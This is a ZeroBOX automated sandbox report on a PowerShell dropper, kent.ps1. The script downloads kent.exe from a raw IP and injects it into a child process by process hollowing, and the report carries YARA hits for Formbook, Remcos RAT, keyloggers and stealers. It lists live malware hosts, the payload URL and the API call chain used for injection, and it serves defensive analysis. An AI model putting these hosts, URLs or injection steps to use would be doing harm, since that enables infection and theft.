Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6403_us	March 13, 2025, 9:45 a.m.	March 13, 2025, 9:49 a.m.

Size	67.5KB
Type	ASCII text, with very long lines, with CRLF line terminators
MD5	`432719ce1459add67ebe4c01b47310f2`
SHA256	`5d0a63edb817bb0cb0a5029e9a7f7a88bca050e94d5d97c5d975cbd4d0757606`
CRC32	`C4CFB5B4`
ssdeep	`1536:98R0LVy/rBdFyFe7w4i+RGhCvQ6IEg4HbR:9q0WPpw4i+RGhCvDIEg4Hd`
Yara	Win_Trojan_Formbook_Zero - Used Formbook hide_executable_file - Hide executable file

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File C:\Users\test22\AppData\Local\Temp\kent.ps1
1884
- JXCJKXCJHKJHXCJHKXCXCJHK.exe "C:\Users\test22\AppData\Local\Temp\JXCJKXCJHKJHXCJHKXCXCJHK.exe"
  2108
  - JXCJKXCJHKJHXCJHKXCXCJHK.exe "C:\Users\test22\AppData\Local\Temp\JXCJKXCJHKJHXCJHKXCXCJHK.exe"
    2292

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
176.65.144.3	Active	Moloch
196.251.83.183	Active	Moloch
198.23.227.212	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 192.168.56.103:49166 -> 176.65.144.3:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 176.65.144.3:80 -> 192.168.56.103:49166	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 176.65.144.3:80 -> 192.168.56.103:49166	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 176.65.144.3:80 -> 192.168.56.103:49166	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic

Suricata TLS

No Suricata TLS

Checks if process is being debugged by a debugger (2 events)

Time & API	Arguments	Status	Return	Repeated
IsDebuggerPresent March 13, 2025, 9:46 a.m.			0	0
IsDebuggerPresent March 13, 2025, 9:46 a.m.			0	0

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx March 13, 2025, 9:46 a.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header, Connection to IP address

suspicious_request

GET http://176.65.144.3/dev/kent.exe

Performs some HTTP requests (1 event)

request

GET http://176.65.144.3/dev/kent.exe

Allocates read-write-execute memory (usually to unpack itself) (30 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 1884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0250b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 1884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0251f000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 1884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x024e9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 1884 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05540000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 2108 region_size: 2162688 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00a50000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 2108 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00c20000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 2108 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f31000 process_handle: 0xffffffff	1
NtProtectVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 2108 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x73f32000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 2108 region_size: 2097152 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02060000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 2108 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02220000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 2108 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003d2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 2108 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003ec000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 2108 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00af0000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 2108 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00af1000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 2108 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003da000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 2108 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x0040b000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 2108 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00407000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 2108 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 8192 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00a32000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 2108 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00af2000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 2108 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00af3000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 2108 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00af4000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 2108 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00405000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 2108 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003f6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 2108 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003fa000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 2108 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x003f7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 2108 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00af5000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtProtectVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 2108 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 length: 4096 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06f42000 process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 2108 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00af6000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 2108 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00af7000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 2108 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00af8000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

A process attempted to delay the analysis task. (1 event)

description

JXCJKXCJHKJHXCJHKXCXCJHK.exe tried to sleep 121 seconds, actually delayed analysis time by 121 seconds

Creates executable files on the filesystem (2 events)

file	C:\Users\test22\AppData\Local\Temp\JXCJKXCJHKJHXCJHKXCXCJHK.exe
file	C:\Users\test22\AppData\Local\Temp\RUNPEE.dll

Drops an executable to the user AppData folder (2 events)

file	C:\Users\test22\AppData\Local\Temp\JXCJKXCJHKJHXCJHKXCXCJHK.exe
file	C:\Users\test22\AppData\Local\Temp\RUNPEE.dll

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses March 13, 2025, 9:46 a.m.	flags: 15 family: 0		111	0

Yara rule detected in process memory (24 events)

description	Create a windows service	rule	Create_Service
description	Client_SW_User_Data_Stealer	rule	Client_SW_User_Data_Stealer
description	Win Backdoor RemcosRAT	rule	Win_Backdoor_RemcosRAT
description	Communications over RAW Socket	rule	Network_TCP_Socket
description	browser info stealer	rule	infoStealer_browser_Zero
description	Take ScreenShot	rule	ScreenShot
description	Escalate priviledges	rule	Escalate_priviledges
description	Google Chrome User Data Check	rule	Chrome_User_Data_Check_Zero
description	PWS Memory	rule	Generic_PWS_Memory_Zero
description	Record Audio	rule	Sniff_Audio
description	Communications use DNS	rule	Network_DNS
description	Code injection with CreateRemoteThread in a remote process	rule	Code_injection
description	(no description)	rule	DebuggerCheck__GlobalFlags
description	(no description)	rule	DebuggerCheck__QueryInfo
description	(no description)	rule	DebuggerHiding__Thread
description	(no description)	rule	DebuggerHiding__Active
description	(no description)	rule	ThreadControl__Context
description	(no description)	rule	SEH__vectored
description	Checks if being debugged	rule	anti_dbg
description	Bypass DEP	rule	disable_dep
description	Affect hook table	rule	win_hook
description	File Downloader	rule	Network_Downloader
description	Match Windows Inet API call	rule	Str_Win32_Internet_API
description	Run a KeyLogger	rule	KeyLogger

Communicates with host for which no DNS query was performed (3 events)

host	176.65.144.3
host	196.251.83.183
host	198.23.227.212

Allocates execute permission to another process indicative of possible code injection (1 event)

Time & API	Arguments	Status	Return	Repeated
NtAllocateVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 2292 region_size: 528384 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000408	1	0	0

Drops a binary and executes it (1 event)

file	C:\Users\test22\AppData\Local\Temp\JXCJKXCJHKJHXCJHKXCXCJHK.exe

Potential code injection by writing to the memory of another process (3 events)

Time & API	Arguments	Status	Return
WriteProcessMemory March 13, 2025, 9:46 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $LjÈe¦6¦6¦6¼W6¦6¼U6£¦6¼T6¦6s"6 ¦6«a6 ¦6Zc£76¦6Zc¢7)¦6Zc¥7¦6s56¦6§6O ¦6¥b¯7l¦6¥bY6 ¦6¥b¤7 ¦6Rich¦6PEL+C¼gàr&dM@ØÐJÐ¬<pæ8Hç¨æ@ü.text[qr `.rdataæv@@.data,^ @À.rsrcÐJL@@.reloc¬<Ð>^@B base_address: 0x00400000 process_identifier: 2292 process_handle: 0x00000408	1	1
WriteProcessMemory March 13, 2025, 9:46 a.m.	buffer: ÿÿÿÿ±¿DNæ@»ÿÿÿÿCopyright (c) by P.J. Plauger, licensed by Dinkumware, Ltd. ALL RIGHTS RESERVED. ÿÿÿÿ ßEâEßE..!G6G6G6G6G6G6G6G6G6G!G6G6G6G6G6G6G6G!GÿÿÿÿâE¨"G¨"G¨"G¨"G¨"G!GäEæEìEè!G'GCPSTPDT°"Gð"Gÿÿÿÿÿÿÿÿÿÿÿÿ ¤`y!¦ß¡¥àü@~ü¨Á£Ú£ þ@þµÁ£Ú£ þAþ¶Ï¢ä¢å¢è¢[þ@~¡þQQÚ^Ú _ÚjÚ2ÓØÞàù1~þ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'GþÿÿÿþÿÿÿuÿÿÿÿÏ!tåa¾e¸Â¢z»^ âÈ¨3ØØF²HAäØFRKAðØFwHAE.?AVtype_info@@E.?AVbad_alloc@std@@E.?AVbad_array_new_length@std@@E.?AVlogic_error@std@@E.?AVlength_error@std@@E.?AVout_of_range@std@@E.?AVerror_category@std@@E.?AV_Generic_error_category@std@@E.?AV_Facet_base@std@@E.?AV_Locimp@locale@std@@E.?AVfacet@locale@std@@E.?AU_Crt_new_delete@std@@E.?AVcodecvt_base@std@@E.?AUctype_base@std@@E.?AV?$ctype@D@std@@E.?AV?$codecvt@DDU_Mbstatet@@@std@@E.?AVbad_exception@std@@E.HE.?AVfailure@ios_base@std@@E.?AVruntime_error@std@@E.?AVsystem_error@std@@E.?AVbad_cast@std@@E.?AV_System_error@std@@E.?AVexception@std@@ base_address: 0x00472000 process_identifier: 2292 process_handle: 0x00000408	1	1
WriteProcessMemory March 13, 2025, 9:46 a.m.	buffer: @ base_address: 0xfffde008 process_identifier: 2292 process_handle: 0x00000408	1	1

Code injection by writing an executable or DLL to the memory of another process (1 event)

Time & API	Arguments	Status	Return	Repeated
WriteProcessMemory March 13, 2025, 9:46 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $LjÈe¦6¦6¦6¼W6¦6¼U6£¦6¼T6¦6s"6 ¦6«a6 ¦6Zc£76¦6Zc¢7)¦6Zc¥7¦6s56¦6§6O ¦6¥b¯7l¦6¥bY6 ¦6¥b¤7 ¦6Rich¦6PEL+C¼gàr&dM@ØÐJÐ¬<pæ8Hç¨æ@ü.text[qr `.rdataæv@@.data,^ @À.rsrcÐJL@@.reloc¬<Ð>^@B base_address: 0x00400000 process_identifier: 2292 process_handle: 0x00000408	1	1	0

File has been identified by 11 AntiVirus engines on VirusTotal as malicious (11 events)

MicroWorld-eScan	Gen:Heur.MSIL.Krypt.6
VIPRE	Gen:Heur.MSIL.Krypt.6
Symantec	ML.Attribute.HighConfidence
ESET-NOD32	a variant of MSIL/Injector.LOS
Kaspersky	UDS:Trojan.MSIL.Zapchast.gen
Sophos	Troj/PSDrop-JU
Ikarus	Trojan.PS.Agent
Google	Detected
Microsoft	Trojan:Script/Wacatac.B!ml
ZoneAlarm	Troj/PSDrop-JU
huorong	Trojan/PS.Encpe.a

Used NtSetContextThread to modify a thread in a remote process indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2108 called NtSetContextThread to modify thread in remote process 2292
NtSetContextThread March 13, 2025, 9:46 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4410724 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000410 process_identifier: 2292	1	0	0

One or more non-whitelisted processes were created (2 events)

parent_process	powershell.exe				martian_process	"C:\Users\test22\AppData\Local\Temp\JXCJKXCJHKJHXCJHKXCXCJHK.exe"
parent_process	powershell.exe				martian_process	C:\Users\test22\AppData\Local\Temp\JXCJKXCJHKJHXCJHKXCXCJHK.exe

Resumed a suspended thread in a remote process potentially indicative of process injection (2 events)

Time & API	Arguments	Status	Return	Repeated
Process injection	Process 2108 resumed a thread in remote process 2292
NtResumeThread March 13, 2025, 9:46 a.m.	thread_handle: 0x00000410 suspend_count: 1 process_identifier: 2292	1	0	0

Connects to an IP address that is no longer responding to requests (legitimate services will remain up-and-running usually) (1 event)

dead_host

196.251.83.183:2721

Executed a process and injected code into it, probably while unpacking (28 events)

Time & API	Arguments	Status	Return
NtResumeThread March 13, 2025, 9:46 a.m.	thread_handle: 0x000003d8 suspend_count: 1 process_identifier: 1884	1	0
CreateProcessInternalW March 13, 2025, 9:46 a.m.	thread_identifier: 2112 thread_handle: 0x000004d8 process_identifier: 2108 current_directory: C:\Users\test22\AppData\Local\Temp filepath: C:\Users\test22\AppData\Local\Temp\JXCJKXCJHKJHXCJHKXCXCJHK.exe track: 1 command_line: "C:\Users\test22\AppData\Local\Temp\JXCJKXCJHKJHXCJHKXCXCJHK.exe" filepath_r: C:\Users\test22\AppData\Local\Temp\JXCJKXCJHKJHXCJHKXCXCJHK.exe stack_pivoted: 0 creation_flags: 67634192 (CREATE_DEFAULT_ERROR_MODE\|CREATE_NEW_CONSOLE\|CREATE_UNICODE_ENVIRONMENT\|EXTENDED_STARTUPINFO_PRESENT) inherit_handles: 0 process_handle: 0x000004e0	1	1
NtResumeThread March 13, 2025, 9:46 a.m.	thread_handle: 0x00000504 suspend_count: 1 process_identifier: 1884	1	0
NtResumeThread March 13, 2025, 9:46 a.m.	thread_handle: 0x000000dc suspend_count: 1 process_identifier: 2108	1	0
NtResumeThread March 13, 2025, 9:46 a.m.	thread_handle: 0x00000154 suspend_count: 1 process_identifier: 2108	1	0
NtResumeThread March 13, 2025, 9:46 a.m.	thread_handle: 0x00000198 suspend_count: 1 process_identifier: 2108	1	0
NtResumeThread March 13, 2025, 9:46 a.m.	thread_handle: 0x000001ec suspend_count: 1 process_identifier: 2108	1	0
NtGetContextThread March 13, 2025, 9:46 a.m.	thread_handle: 0x000000e0	1	0
NtGetContextThread March 13, 2025, 9:46 a.m.	thread_handle: 0x000000e0	1	0
NtResumeThread March 13, 2025, 9:46 a.m.	thread_handle: 0x000000e0 suspend_count: 1 process_identifier: 2108	1	0
NtGetContextThread March 13, 2025, 9:46 a.m.	thread_handle: 0x000000e0	1	0
NtGetContextThread March 13, 2025, 9:46 a.m.	thread_handle: 0x000000e0	1	0
NtResumeThread March 13, 2025, 9:46 a.m.	thread_handle: 0x000000e0 suspend_count: 1 process_identifier: 2108	1	0
NtResumeThread March 13, 2025, 9:46 a.m.	thread_handle: 0x00000200 suspend_count: 1 process_identifier: 2108	1	0
NtResumeThread March 13, 2025, 9:46 a.m.	thread_handle: 0x0000022c suspend_count: 1 process_identifier: 2108	1	0
NtResumeThread March 13, 2025, 9:46 a.m.	thread_handle: 0x0000037c suspend_count: 1 process_identifier: 2108	1	0
CreateProcessInternalW March 13, 2025, 9:46 a.m.	thread_identifier: 2296 thread_handle: 0x00000410 process_identifier: 2292 current_directory: filepath: C:\Users\test22\AppData\Local\Temp\JXCJKXCJHKJHXCJHKXCXCJHK.exe track: 1 command_line: filepath_r: C:\Users\test22\AppData\Local\Temp\JXCJKXCJHKJHXCJHKXCXCJHK.exe stack_pivoted: 0 creation_flags: 134217732 (CREATE_NO_WINDOW\|CREATE_SUSPENDED) inherit_handles: 0 process_handle: 0x00000408	1	1
NtGetContextThread March 13, 2025, 9:46 a.m.	thread_handle: 0x00000410	1	0
NtAllocateVirtualMemory March 13, 2025, 9:46 a.m.	process_identifier: 2292 region_size: 528384 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x00400000 allocation_type: 12288 (MEM_COMMIT\|MEM_RESERVE) process_handle: 0x00000408	1	0
WriteProcessMemory March 13, 2025, 9:46 a.m.	buffer: MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $LjÈe¦6¦6¦6¼W6¦6¼U6£¦6¼T6¦6s"6 ¦6«a6 ¦6Zc£76¦6Zc¢7)¦6Zc¥7¦6s56¦6§6O ¦6¥b¯7l¦6¥bY6 ¦6¥b¤7 ¦6Rich¦6PEL+C¼gàr&dM@ØÐJÐ¬<pæ8Hç¨æ@ü.text[qr `.rdataæv@@.data,^ @À.rsrcÐJL@@.reloc¬<Ð>^@B base_address: 0x00400000 process_identifier: 2292 process_handle: 0x00000408	1	1
WriteProcessMemory March 13, 2025, 9:46 a.m.	buffer: base_address: 0x00401000 process_identifier: 2292 process_handle: 0x00000408	1	1
WriteProcessMemory March 13, 2025, 9:46 a.m.	buffer: base_address: 0x00459000 process_identifier: 2292 process_handle: 0x00000408	1	1
WriteProcessMemory March 13, 2025, 9:46 a.m.	buffer: ÿÿÿÿ±¿DNæ@»ÿÿÿÿCopyright (c) by P.J. Plauger, licensed by Dinkumware, Ltd. ALL RIGHTS RESERVED. ÿÿÿÿ ßEâEßE..!G6G6G6G6G6G6G6G6G6G!G6G6G6G6G6G6G6G!GÿÿÿÿâE¨"G¨"G¨"G¨"G¨"G!GäEæEìEè!G'GCPSTPDT°"Gð"Gÿÿÿÿÿÿÿÿÿÿÿÿ ¤`y!¦ß¡¥àü@~ü¨Á£Ú£ þ@þµÁ£Ú£ þAþ¶Ï¢ä¢å¢è¢[þ@~¡þQQÚ^Ú _ÚjÚ2ÓØÞàù1~þ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'GþÿÿÿþÿÿÿuÿÿÿÿÏ!tåa¾e¸Â¢z»^ âÈ¨3ØØF²HAäØFRKAðØFwHAE.?AVtype_info@@E.?AVbad_alloc@std@@E.?AVbad_array_new_length@std@@E.?AVlogic_error@std@@E.?AVlength_error@std@@E.?AVout_of_range@std@@E.?AVerror_category@std@@E.?AV_Generic_error_category@std@@E.?AV_Facet_base@std@@E.?AV_Locimp@locale@std@@E.?AVfacet@locale@std@@E.?AU_Crt_new_delete@std@@E.?AVcodecvt_base@std@@E.?AUctype_base@std@@E.?AV?$ctype@D@std@@E.?AV?$codecvt@DDU_Mbstatet@@@std@@E.?AVbad_exception@std@@E.HE.?AVfailure@ios_base@std@@E.?AVruntime_error@std@@E.?AVsystem_error@std@@E.?AVbad_cast@std@@E.?AV_System_error@std@@E.?AVexception@std@@ base_address: 0x00472000 process_identifier: 2292 process_handle: 0x00000408	1	1
WriteProcessMemory March 13, 2025, 9:46 a.m.	buffer: base_address: 0x00478000 process_identifier: 2292 process_handle: 0x00000408	1	1
WriteProcessMemory March 13, 2025, 9:46 a.m.	buffer: base_address: 0x0047d000 process_identifier: 2292 process_handle: 0x00000408	1	1
WriteProcessMemory March 13, 2025, 9:46 a.m.	buffer: @ base_address: 0xfffde008 process_identifier: 2292 process_handle: 0x00000408	1	1
NtSetContextThread March 13, 2025, 9:46 a.m.	registers.eip: 0 registers.esp: 0 registers.edi: 0 registers.eax: 4410724 registers.ebp: 0 registers.edx: 0 registers.ebx: -139264 registers.esi: 0 registers.ecx: 0 thread_handle: 0x00000410 process_identifier: 2292	1	0
NtResumeThread March 13, 2025, 9:46 a.m.	thread_handle: 0x00000410 suspend_count: 1 process_identifier: 2292	1	0

The process powershell.exe wrote an executable file to disk which it then attempted to execute (1 event)

file	C:\Users\test22\AppData\Local\Temp\JXCJKXCJHKJHXCJHKXCXCJHK.exe

kent.ps1

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All